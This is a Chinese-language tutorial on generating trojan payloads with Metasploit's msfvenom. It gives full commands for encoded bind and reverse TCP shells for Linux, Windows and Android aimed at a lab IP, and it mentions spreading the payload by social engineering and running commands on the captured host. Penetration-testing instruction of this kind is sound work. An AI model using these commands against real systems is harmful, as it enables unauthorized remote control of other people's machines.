参考:https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom
一、msfvenom 是msfpayload,msfencode的结合体,可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线。
常用参数说明:
- -p, --payload :指定有效载荷
- -f, --format :指定文件输出格式(
asp, aspx, dll, elf,
exe等
) - -e, --encoder :指定编码类型
- -n, --nopsled :指定载荷的追加长度
- -o, --out:指定文件输出路径
- LHOST:攻击者IP
- LPORT:监听端口号
二、msfvenom 生成多态指令
msfvenom -p linux/x86/shell/bind_tcp -e x86/call4_dword_xor -n 100 -f c
msfvenom -p linux/x86/shell/bind_tcp -e x86/shikata_ga_nai -n 100 -f c
原始恶意代码:
三、msfvenom 反向端口连接
1、linux正向、反向连接示例
注:反向连接需要设置攻击者的IP以及监听的端口。反向 Shell (译者注:攻击者监听端口,被攻击者连接)和 正向 Shell(译者注:被攻击者监听端口,攻击者连接)
msfvenom -p linux/x86/shell/bind_tcp -f elf -o shell #正向连接
msfvenom -p linux/x86/shell/reverse_tcp lhost=192.168.57.128 lport=2020 -e x86/shikata_ga_nai -n 100 -f elf -o shell_2 #反向连接
攻击者启动msfconsole并对载荷、IP、端口号进行设置,如何将生成的恶意代码通过社会工程学或其他手段传播到目标主机上运行,恶意代码将反向连接攻击者主机,如下图,目标主机主动与攻击者主机建立了一条TCP连接。此时攻击者即可获得目标主机系统的shell。目标主机运行shell_2文件并反弹shell
攻击者拿到目标主机反弹回来的shell后,可以使用id 命令查看目标主机的用户ID(uid)、组ID(gid)的信息,以及对目标用户的文件目录进行增删改查等操作,甚至可以使用一些恶作剧命令如“shutdown -h now ”让目标主机立即关机,如下图所示。
chmod a+x linux_shell:表示所有人都可以执行linux_shell文件(a表示所有者,x表示可执行)
2、使用windows 版本的有效载荷
msfvenom -p windows/shell/reverse_tcp lhost=192.168.57.128 lport=2020 -f exe -o win.exe
3、Android版本的有效载荷 (实验探究)
msfvenom -p android/shell/reverse_tcp lhost=192.168.57.128 lport=2020 -o android.apk